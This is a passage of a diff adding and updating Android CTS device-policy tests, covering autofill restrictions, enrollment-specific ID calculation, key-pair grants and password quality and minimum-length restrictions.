--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AutofillRestrictionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/AutofillRestrictionsTest.java
@@ -63,14 +63,14 @@
         mDevicePolicyManager.addUserRestriction(ADMIN_RECEIVER_COMPONENT, DISALLOW_AUTOFILL);
 
         // Must try a couple times because it will be disabled asynchronously.
-        for (int i = 1; i <= 5; i++) {
+        for (int i = 1; i <= 15; i++) {
             final boolean disabledAfter = !launchActivityAndGetEnabled();
             if (disabledAfter) {
                 return;
             }
             Thread.sleep(100);
         }
-        fail("Not disabled after 2.5s");
+        fail("Not disabled after a period of time");
     }
 
     private boolean launchActivityAndGetEnabled() throws Exception {
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegatedCertInstallerTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegatedCertInstallerTest.java
index 45bfe40..f700c69 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegatedCertInstallerTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/DelegatedCertInstallerTest.java
@@ -60,6 +60,8 @@
     private static final String ACTION_INSTALL_KEYPAIR =
             "com.android.cts.certinstaller.install_keypair";
     private static final String ACTION_CERT_OPERATION_DONE = "com.android.cts.certinstaller.done";
+    private static final String ACTION_READ_ENROLLMENT_SPECIFIC_ID =
+            "com.android.cts.certinstaller.read_esid";
 
     private static final String EXTRA_CERT_DATA = "extra_cert_data";
     private static final String EXTRA_KEY_DATA = "extra_key_data";
@@ -313,6 +315,19 @@
         assertThat(mDpm.getCertInstallerPackage(ADMIN_RECEIVER_COMPONENT)).isNull();
     }
 
+    public void testCanReadEnrollmentSpecificId() throws InterruptedException {
+        // Set the organization ID only if not already set, to avoid potential conflict
+        // with other tests.
+        if (mDpm.getEnrollmentSpecificId().isEmpty()) {
+            mDpm.setOrganizationId("SOME_ID");
+        }
+        mDpm.setDelegatedScopes(ADMIN_RECEIVER_COMPONENT, CERT_INSTALLER_PACKAGE,
+                CERT_INSTALL_SCOPES);
+
+        readEnrollmentId();
+        assertResult("testCanReadEnrollmentSpecificId", true);
+    }
+
     private void installCaCert(byte[] cert) {
         Intent intent = new Intent();
         intent.setAction(ACTION_INSTALL_CERT);
@@ -373,4 +388,12 @@
         intent.addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
         mContext.sendBroadcast(intent);
     }
+
+    private void readEnrollmentId() {
+        Intent intent = new Intent();
+        intent.setAction(ACTION_READ_ENROLLMENT_SPECIFIC_ID);
+        intent.setComponent(CERT_INSTALLER_COMPONENT);
+        intent.addFlags(Intent.FLAG_RECEIVER_FOREGROUND);
+        mContext.sendBroadcast(intent);
+    }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/EnrollmentSpecificIdTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/EnrollmentSpecificIdTest.java
new file mode 100644
index 0000000..2ed2c1a
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/EnrollmentSpecificIdTest.java
@@ -0,0 +1,233 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceandprofileowner;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.annotation.NonNull;
+import android.app.UiAutomation;
+import android.net.wifi.WifiManager;
+import android.os.Build;
+import android.telephony.TelephonyManager;
+
+import java.nio.ByteBuffer;
+import java.security.InvalidKeyException;
+import java.security.NoSuchAlgorithmException;
+
+import javax.crypto.Mac;
+import javax.crypto.spec.SecretKeySpec;
+
+/**
+ * Tests for the Enrollment-Specific ID functionality.
+ *
+ * NOTE: Tests in this class need to be run separately from the host-side since each
+ * sets a non-resettable Organization ID, so the DPC needs to be completely removed
+ * before each test.
+ */
+public class EnrollmentSpecificIdTest extends BaseDeviceAdminTest {
+    private static final String[] PERMISSIONS_TO_ADOPT = {
+            "android.permission.READ_PRIVILEGED_PHONE_STATE",
+            "android.permission.NETWORK_SETTINGS",
+            "android.permission.LOCAL_MAC_ADDRESS"};
+    private static final String ORGANIZATION_ID = "abcxyz123";
+    private UiAutomation mUiAutomation;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mUiAutomation = getInstrumentation().getUiAutomation();
+    }
+
+    public void testThrowsForEmptyOrganizationId() {
+        assertThrows(IllegalArgumentException.class,
+                () -> mDevicePolicyManager.setOrganizationId(""));
+    }
+
+    public void testThrowsWhenTryingToReSetOrganizationId() {
+        mUiAutomation.adoptShellPermissionIdentity(PERMISSIONS_TO_ADOPT);
+
+        mDevicePolicyManager.setOrganizationId("abc");
+        final String firstEsid = mDevicePolicyManager.getEnrollmentSpecificId();
+        assertThat(firstEsid).isNotEmpty();
+
+        assertThrows(IllegalStateException.class,
+                () -> mDevicePolicyManager.setOrganizationId("xyz"));
+    }
+
+    /**
+     * This test tests that the platform calculates the ESID according to the specification and
+     * does not, for example, return the same ESID regardless of the managing package.
+     */
+    public void testCorrectCalculationOfEsid() {
+        mUiAutomation.adoptShellPermissionIdentity(PERMISSIONS_TO_ADOPT);
+        mDevicePolicyManager.setOrganizationId(ORGANIZATION_ID);
+        final String esidFromDpm = mDevicePolicyManager.getEnrollmentSpecificId();
+        final String calculatedEsid = calculateEsid(ADMIN_RECEIVER_COMPONENT.getPackageName(),
+                ORGANIZATION_ID);
+        assertThat(esidFromDpm).isEqualTo(calculatedEsid);
+    }
+
+    private String calculateEsid(String profileOwnerPackage, String enterpriseIdString) {
+        TelephonyManager telephonyService = mContext.getSystemService(TelephonyManager.class);
+        assertThat(telephonyService).isNotNull();
+
+        WifiManager wifiManager = mContext.getSystemService(WifiManager.class);
+        assertThat(wifiManager).isNotNull();
+
+        final byte[] serialNumber = getPaddedHardwareIdentifier(Build.getSerial()).getBytes();
+        final byte[] imei = getPaddedHardwareIdentifier(telephonyService.getImei(0)).getBytes();
+        final byte[] meid = getPaddedHardwareIdentifier(telephonyService.getMeid(0)).getBytes();
+
+        final byte[] macAddress;
+        final String[] macAddresses = wifiManager.getFactoryMacAddresses();
+        if (macAddresses == null || macAddresses.length == 0) {
+            macAddress = "".getBytes();
+        } else {
+            macAddress = macAddresses[0].getBytes();
+        }
+
+        final int totalIdentifiersLength = serialNumber.length + imei.length + meid.length
+                + macAddress.length;
+        final ByteBuffer fixedIdentifiers = ByteBuffer.allocate(totalIdentifiersLength);
+        fixedIdentifiers.put(serialNumber);
+        fixedIdentifiers.put(imei);
+        fixedIdentifiers.put(meid);
+        fixedIdentifiers.put(macAddress);
+
+        final byte[] dpcPackage = getPaddedProfileOwnerName(profileOwnerPackage).getBytes();
+        final byte[] enterpriseId = getPaddedEnterpriseId(enterpriseIdString).getBytes();
+        final ByteBuffer info = ByteBuffer.allocate(dpcPackage.length + enterpriseId.length);
+        info.put(dpcPackage);
+        info.put(enterpriseId);
+        final byte[] esidBytes = computeHkdf("HMACSHA256", fixedIdentifiers.array(), null,
+                info.array(), 16);
+        ByteBuffer esidByteBuffer = ByteBuffer.wrap(esidBytes);
+
+        return encodeBase32(esidByteBuffer.getLong()) + encodeBase32(esidByteBuffer.getLong());
+    }
+
+    private static String getPaddedHardwareIdentifier(String hardwareIdentifier) {
+        if (hardwareIdentifier == null) {
+            hardwareIdentifier = "";
+        }
+        return String.format("%16s", hardwareIdentifier);
+    }
+
+    private static String getPaddedProfileOwnerName(String profileOwnerPackage) {
+        return String.format("%64s", profileOwnerPackage);
+    }
+
+    private static String getPaddedEnterpriseId(String enterpriseId) {
+        return String.format("%64s", enterpriseId);
+    }
+
+    // Copied from android.security.identity.Util, here to make sure Enterprise-Specific ID is
+    // calculated according to spec.
+    @NonNull
+    private static byte[] computeHkdf(
+            @NonNull String macAlgorithm, @NonNull final byte[] ikm, @NonNull final byte[] salt,
+            @NonNull final byte[] info, int size) {
+        Mac mac = null;
+        try {
+            mac = Mac.getInstance(macAlgorithm);
+        } catch (NoSuchAlgorithmException e) {
+            throw new RuntimeException("No such algorithm: " + macAlgorithm, e);
+        }
+        if (size > 255 * mac.getMacLength()) {
+            throw new RuntimeException("size too large");
+        }
+        try {
+            if (salt == null || salt.length == 0) {
+                // According to RFC 5869, Section 2.2 the salt is optional. If no salt is provided
+                // then HKDF uses a salt that is an array of zeros of the same length as the hash
+                // digest.
+                mac.init(new SecretKeySpec(new byte[mac.getMacLength()], macAlgorithm));
+            } else {
+                mac.init(new SecretKeySpec(salt, macAlgorithm));
+            }
+            byte[] prk = mac.doFinal(ikm);
+            byte[] result = new byte[size];
+            int ctr = 1;
+            int pos = 0;
+            mac.init(new SecretKeySpec(prk, macAlgorithm));
+            byte[] digest = new byte[0];
+            while (true) {
+                mac.update(digest);
+                mac.update(info);
+                mac.update((byte) ctr);
+                digest = mac.doFinal();
+                if (pos + digest.length < size) {
+                    System.arraycopy(digest, 0, result, pos, digest.length);
+                    pos += digest.length;
+                    ctr++;
+                } else {
+                    System.arraycopy(digest, 0, result, pos, size - pos);
+                    break;
+                }
+            }
+            return result;
+        } catch (InvalidKeyException e) {
+            throw new RuntimeException("Error MACing", e);
+        }
+    }
+
+    private static final char[] ENCODE = {
+            'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
+            'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
+            'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
+            'Y', 'Z', '2', '3', '4', '5', '6', '7',
+    };
+
+    private static final char SEPARATOR = '-';
+    private static final int LONG_SIZE = 13;
+    private static final int GROUP_SIZE = 4;
+
+    private static String encodeBase32(long input) {
+        final char[] alphabet = ENCODE;
+
+        /*
+         * Make a character array with room for the separators between each
+         * group.
+         */
+        final char[] encoded = new char[LONG_SIZE + (LONG_SIZE / GROUP_SIZE)];
+
+        int index = encoded.length;
+        for (int i = 0; i < LONG_SIZE; i++) {
+            /*
+             * Make sure we don't put a separator at the beginning. Since we're
+             * building from the rear of the array, we use (LONG_SIZE %
+             * GROUP_SIZE) to make the odd-size group appear at the end instead
+             * of the beginning.
+             */
+            if (i > 0 && (i % GROUP_SIZE) == (LONG_SIZE % GROUP_SIZE)) {
+                encoded[--index] = SEPARATOR;
+            }
+
+            /*
+             * Extract 5 bits of data, then shift it out.
+             */
+            final int group = (int) (input & 0x1F);
+            input >>>= 5;
+
+            encoded[--index] = alphabet[group];
+        }
+
+        return String.valueOf(encoded);
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/KeyManagementTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/KeyManagementTest.java
index ae4134d..0b47c89 100755
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/KeyManagementTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/KeyManagementTest.java
@@ -25,6 +25,10 @@
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import static org.testng.Assert.assertThrows;
+
+import static java.util.Collections.singleton;
+
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.pm.PackageManager;
@@ -45,6 +49,8 @@
 
 import com.android.compatibility.common.util.FakeKeys.FAKE_RSA_1;
 
+import com.google.common.collect.Sets;
+
 import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
@@ -75,6 +81,13 @@
 
 public class KeyManagementTest extends BaseDeviceAdminTest {
     private static final long KEYCHAIN_TIMEOUT_MINS = 6;
+
+    private static final String TEST_ALIAS = "KeyManagementTest-keypair";
+    private static final String NON_EXISTENT_ALIAS = "KeyManagementTest-nonexistent";
+
+    private static final String SHARED_UID_APP1_PKG = "com.android.cts.testapps.shareduidapp1";
+    private static final String SHARED_UID_APP2_PKG = "com.android.cts.testapps.shareduidapp2";
+
     private PrivateKey mFakePrivKey;
     private Certificate mFakeCert;
 
@@ -117,6 +130,7 @@
     @Override
     public void tearDown() throws Exception {
         mActivity.finish();
+        mDevicePolicyManager.removeKeyPair(getWho(), TEST_ALIAS);
         super.tearDown();
     }
 
@@ -801,30 +815,82 @@
     }
 
     public void testHasKeyPair_NonExistent() {
-        assertThat(mDevicePolicyManager.hasKeyPair("no-such-key-for-sure")).isFalse();
+        assertThat(mDevicePolicyManager.hasKeyPair(NON_EXISTENT_ALIAS)).isFalse();
     }
 
-    public void testHasKeyPair_Installed() throws Exception {
-        final String alias = "delegated-cert-installer-test-key-9000";
-
-        mDevicePolicyManager.installKeyPair(
-                getWho(), mFakePrivKey, new Certificate[]{mFakeCert}, alias, true);
+    public void testHasKeyPair_Installed() {
+        mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
+                TEST_ALIAS, /* requestAccess= */ true);
 
         try {
-            assertThat(mDevicePolicyManager.hasKeyPair(alias)).isTrue();
+            assertThat(mDevicePolicyManager.hasKeyPair(TEST_ALIAS)).isTrue();
         } finally {
-            mDevicePolicyManager.removeKeyPair(getWho(), alias);
+            mDevicePolicyManager.removeKeyPair(getWho(), TEST_ALIAS);
         }
     }
 
-    public void testHasKeyPair_Removed() throws Exception {
-        final String alias = "delegated-cert-installer-test-key-9001";
+    public void testHasKeyPair_Removed() {
+        mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
+                TEST_ALIAS, /* requestAccess= */ true);
+        mDevicePolicyManager.removeKeyPair(getWho(), TEST_ALIAS);
 
-        mDevicePolicyManager.installKeyPair(
-                getWho(), mFakePrivKey, new Certificate[]{mFakeCert}, alias, true);
-        mDevicePolicyManager.removeKeyPair(getWho(), alias);
+        assertThat(mDevicePolicyManager.hasKeyPair(TEST_ALIAS)).isFalse();
+    }
 
-        assertThat(mDevicePolicyManager.hasKeyPair(alias)).isFalse();
+    public void testGetKeyPairGrants_NonExistent() {
+        assertThrows(IllegalArgumentException.class,
+                () -> mDevicePolicyManager.getKeyPairGrants(NON_EXISTENT_ALIAS));
+    }
+
+    public void testGetKeyPairGrants_NotGranted() {
+        mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
+                TEST_ALIAS, /* requestAccess= */ false);
+
+        assertThat(mDevicePolicyManager.getKeyPairGrants(TEST_ALIAS)).isEmpty();
+    }
+
+    public void testGetKeyPairGrants_GrantedAtInstall() {
+        mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
+                TEST_ALIAS, /* requestAccess= */ true);
+
+        assertThat(mDevicePolicyManager.getKeyPairGrants(TEST_ALIAS))
+                .isEqualTo(singleton(singleton(getWho().getPackageName())));
+    }
+
+    public void testGetKeyPairGrants_GrantedExplicitly() {
+        mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
+                TEST_ALIAS, /* requestAccess= */ false);
+        mDevicePolicyManager.grantKeyPairToApp(getWho(), TEST_ALIAS, getWho().getPackageName());
+
+        assertThat(mDevicePolicyManager.getKeyPairGrants(TEST_ALIAS))
+                .isEqualTo(singleton(singleton(getWho().getPackageName())));
+    }
+
+    public void testGetKeyPairGrants_Revoked() {
+        mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
+                TEST_ALIAS, /* requestAccess= */ true);
+        mDevicePolicyManager.revokeKeyPairFromApp(getWho(), TEST_ALIAS, getWho().getPackageName());
+
+        assertThat(mDevicePolicyManager.getKeyPairGrants(TEST_ALIAS)).isEmpty();
+    }
+
+    public void testGetKeyPairGrants_SharedUid() {
+        mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
+                TEST_ALIAS, /* requestAccess= */ false);
+        mDevicePolicyManager.grantKeyPairToApp(getWho(), TEST_ALIAS, SHARED_UID_APP1_PKG);
+
+        assertThat(mDevicePolicyManager.getKeyPairGrants(TEST_ALIAS))
+                .isEqualTo(singleton(Sets.newHashSet(SHARED_UID_APP1_PKG, SHARED_UID_APP2_PKG)));
+    }
+
+    public void testGetKeyPairGrants_DifferentUids() {
+        mDevicePolicyManager.installKeyPair(getWho(), mFakePrivKey, new Certificate[]{mFakeCert},
+                TEST_ALIAS, /* requestAccess= */ true);
+        mDevicePolicyManager.grantKeyPairToApp(getWho(), TEST_ALIAS, SHARED_UID_APP1_PKG);
+
+        assertThat(mDevicePolicyManager.getKeyPairGrants(TEST_ALIAS)).isEqualTo(Sets.newHashSet(
+                Sets.newHashSet(SHARED_UID_APP1_PKG, SHARED_UID_APP2_PKG),
+                singleton(getWho().getPackageName())));
     }
 
     private void assertGranted(String alias, boolean expected)
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/OrgOwnedProfileOwnerParentTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/OrgOwnedProfileOwnerParentTest.java
index a2c8832..92c7a56 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/OrgOwnedProfileOwnerParentTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/OrgOwnedProfileOwnerParentTest.java
@@ -16,6 +16,9 @@
 
 package com.android.cts.deviceandprofileowner;
 
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_COMPLEX;
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED;
+
 import static com.android.cts.deviceandprofileowner.BaseDeviceAdminTest.ADMIN_RECEIVER_COMPONENT;
 
 import static com.google.common.truth.Truth.assertThat;
@@ -127,4 +130,17 @@
                         restriction));
     }
 
+    public void testCanSetPasswordQualityOnParent() {
+        mParentDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
+                PASSWORD_QUALITY_COMPLEX);
+        try {
+            assertThat(mParentDevicePolicyManager.getPasswordQuality(
+                    ADMIN_RECEIVER_COMPONENT)).isEqualTo(PASSWORD_QUALITY_COMPLEX);
+            assertThat(mParentDevicePolicyManager.isActivePasswordSufficient()).isFalse();
+        } finally {
+            // Cleanup
+            mParentDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
+                    PASSWORD_QUALITY_UNSPECIFIED);
+        }
+    }
 }
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordMinimumRestrictionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordMinimumRestrictionsTest.java
new file mode 100644
index 0000000..3a851ff
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordMinimumRestrictionsTest.java
@@ -0,0 +1,210 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceandprofileowner;
+
+import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_COMPLEX;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.List;
+
+/** Tests minimum password restriction APIs, including on parent profile instances. */
+public class PasswordMinimumRestrictionsTest extends BaseDeviceAdminTest {
+
+    private static final int TEST_PASSWORD_LENGTH = 5;
+    private static final int TEST_PASSWORD_LENGTH_LOW = 2;
+    private static final String[] METHOD_LIST = {
+            "PasswordMinimumLength",
+            "PasswordMinimumUpperCase",
+            "PasswordMinimumLowerCase",
+            "PasswordMinimumLetters",
+            "PasswordMinimumNumeric",
+            "PasswordMinimumSymbols",
+            "PasswordMinimumNonLetter",
+            "PasswordHistoryLength"};
+
+    private DevicePolicyManager mParentDpm;
+    private int mCurrentAdminPreviousPasswordQuality;
+    private int mParentPreviousPasswordQuality;
+    private List<Integer> mCurrentAdminPreviousPasswordRestriction = new ArrayList<Integer>();
+    private List<Integer> mParentPreviousPasswordRestriction = new ArrayList<Integer>();
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        mParentDpm = mDevicePolicyManager.getParentProfileInstance(ADMIN_RECEIVER_COMPONENT);
+        mCurrentAdminPreviousPasswordQuality =
+                mDevicePolicyManager.getPasswordQuality(ADMIN_RECEIVER_COMPONENT);
+        mParentPreviousPasswordQuality = mParentDpm.getPasswordQuality(ADMIN_RECEIVER_COMPONENT);
+        mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_COMPLEX);
+        mParentDpm.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_COMPLEX);
+        for (String method : METHOD_LIST) {
+            mCurrentAdminPreviousPasswordRestriction
+                    .add(invokeGetMethod(method, mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT));
+            mParentPreviousPasswordRestriction
+                    .add(invokeGetMethod(method, mParentDpm, ADMIN_RECEIVER_COMPONENT));
+        }
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        for (int i = 0; i < METHOD_LIST.length; i++) {
+            invokeSetMethod(METHOD_LIST[i], mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT,
+                    mCurrentAdminPreviousPasswordRestriction.get(i));
+            invokeSetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT,
+                    mCurrentAdminPreviousPasswordRestriction.get(i));
+        }
+        mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
+                mCurrentAdminPreviousPasswordQuality);
+        mParentDpm.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, mParentPreviousPasswordQuality);
+        super.tearDown();
+    }
+
+    public void testPasswordMinimumRestriction() throws Exception {
+        for (int i = 0; i < METHOD_LIST.length; i++) {
+            invokeSetMethod(METHOD_LIST[i], mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT,
+                    TEST_PASSWORD_LENGTH + i);
+            invokeSetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT,
+                    TEST_PASSWORD_LENGTH + 2 * i);
+
+            // Passing the admin component returns the value set for that admin, rather than
+            // aggregated values.
+            assertEquals(
+                    getMethodName(METHOD_LIST[i])
+                            + " failed to get expected value on mDevicePolicyManager.",
+                    TEST_PASSWORD_LENGTH + i, invokeGetMethod(METHOD_LIST[i], mDevicePolicyManager,
+                            ADMIN_RECEIVER_COMPONENT));
+
+            // Passing the admin component returns the value set for that admin, rather than
+            // aggregated values.
+            assertEquals(
+                    getMethodName(METHOD_LIST[i]) + " failed to get expected value on mParentDpm.",
+                    TEST_PASSWORD_LENGTH + 2 * i,
+                    invokeGetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT));
+        }
+    }
+
+    public void testSetPasswordMinimumRestrictionWithNull() {
+        // Test with mDevicePolicyManager.
+        for (String method : METHOD_LIST) {
+            try {
+                invokeSetMethod(method, mDevicePolicyManager, null, TEST_PASSWORD_LENGTH);
+                fail("Exception should have been thrown for null admin ComponentName");
+            } catch (Exception e) {
+                if (!(e.getCause() instanceof NullPointerException)) {
+                    fail("Failed to execute set method: " + setMethodName(method));
+                }
+                // Expected to throw NullPointerException.
+            }
+        }
+
+        // Test with mParentDpm.
+        for (String method : METHOD_LIST) {
+            try {
+                invokeSetMethod(method, mParentDpm, null, TEST_PASSWORD_LENGTH);
+                fail("Exception should have been thrown for null admin ComponentName");
+            } catch (Exception e) {
+                if (!(e.getCause() instanceof NullPointerException)) {
+                    fail("Failed to execute set method: " + setMethodName(method));
+                }
+                // Expected to throw NullPointerException.
+            }
+        }
+    }
+
+    public void testGetPasswordMinimumRestrictionWithNullAdmin() throws Exception {
+        for (int i = 0; i < METHOD_LIST.length; i++) {
+            // Check getMethod with null admin. It should return the aggregated value (which is the
+            // only value set so far).
+            invokeSetMethod(METHOD_LIST[i], mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT,
+                    TEST_PASSWORD_LENGTH_LOW + i);
+            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH_LOW + i,
+                    invokeGetMethod(METHOD_LIST[i], mDevicePolicyManager, null));
+
+            // Set strict password minimum restriction using parent instance.
+            invokeSetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT,
+                    TEST_PASSWORD_LENGTH + i);
+            // With null admin, the restriction should be the aggregate of all admins.
+            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH + i,
+                    invokeGetMethod(METHOD_LIST[i], mDevicePolicyManager, null));
+            // With null admin, the restriction should be the aggregate of all admins.
+            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH + i,
+                    invokeGetMethod(METHOD_LIST[i], mParentDpm, null));
+
+            // Passing the admin component returns the value set for that admin, rather than
+            // aggregated values.
+            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH_LOW + i,
+                    invokeGetMethod(METHOD_LIST[i], mDevicePolicyManager,
+                            ADMIN_RECEIVER_COMPONENT));
+            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH + i,
+                    invokeGetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT));
+
+            // Set strict password minimum restriction on current admin.
+            invokeSetMethod(METHOD_LIST[i], mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT,
+                    TEST_PASSWORD_LENGTH + i);
+            // Set password minimum restriction using parent instance.
+            invokeSetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT,
+                    TEST_PASSWORD_LENGTH_LOW + i);
+            // With null admin, the restriction should be the aggregate of all admins.
+            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH + i,
+                    invokeGetMethod(METHOD_LIST[i], mDevicePolicyManager, null));
+            // With null admin, the restriction should be the aggregate of all admins.
+            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH + i,
+                    invokeGetMethod(METHOD_LIST[i], mParentDpm, null));
+
+            // Passing the admin component returns the value set for that admin, rather than
+            // aggregated values.
+            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH + i,
+                    invokeGetMethod(METHOD_LIST[i], mDevicePolicyManager,
+                            ADMIN_RECEIVER_COMPONENT));
+            assertEquals(getMethodName(METHOD_LIST[i]) + " failed.", TEST_PASSWORD_LENGTH_LOW + i,
+                    invokeGetMethod(METHOD_LIST[i], mParentDpm, ADMIN_RECEIVER_COMPONENT));
+        }
+    }
+
+    /**
+     * Calls dpm.set{methodName} with given component name and length arguments using reflection.
+     */
+    private void invokeSetMethod(String methodName, DevicePolicyManager dpm,
+            ComponentName componentName, int length) throws Exception {
+        final Method setMethod = DevicePolicyManager.class.getMethod(setMethodName(methodName),
+                ComponentName.class, int.class);
+        setMethod.invoke(dpm, componentName, length);
+    }
+
+    /**
+     * Calls dpm.get{methodName} with given component name using reflection.
+     */
+    private int invokeGetMethod(String methodName, DevicePolicyManager dpm,
+            ComponentName componentName) throws Exception {
+        final Method getMethod =
+                DevicePolicyManager.class.getMethod(getMethodName(methodName), ComponentName.class);
+        return (int) getMethod.invoke(dpm, componentName);
+    }
+
+    private String setMethodName(String methodName) {
+        return "set" + methodName;
+    }
+
+    private String getMethodName(String methodName) {
+        return "get" + methodName;
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordQualityAndComplexityTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordQualityAndComplexityTest.java
new file mode 100644
index 0000000..fc4213e
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordQualityAndComplexityTest.java
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
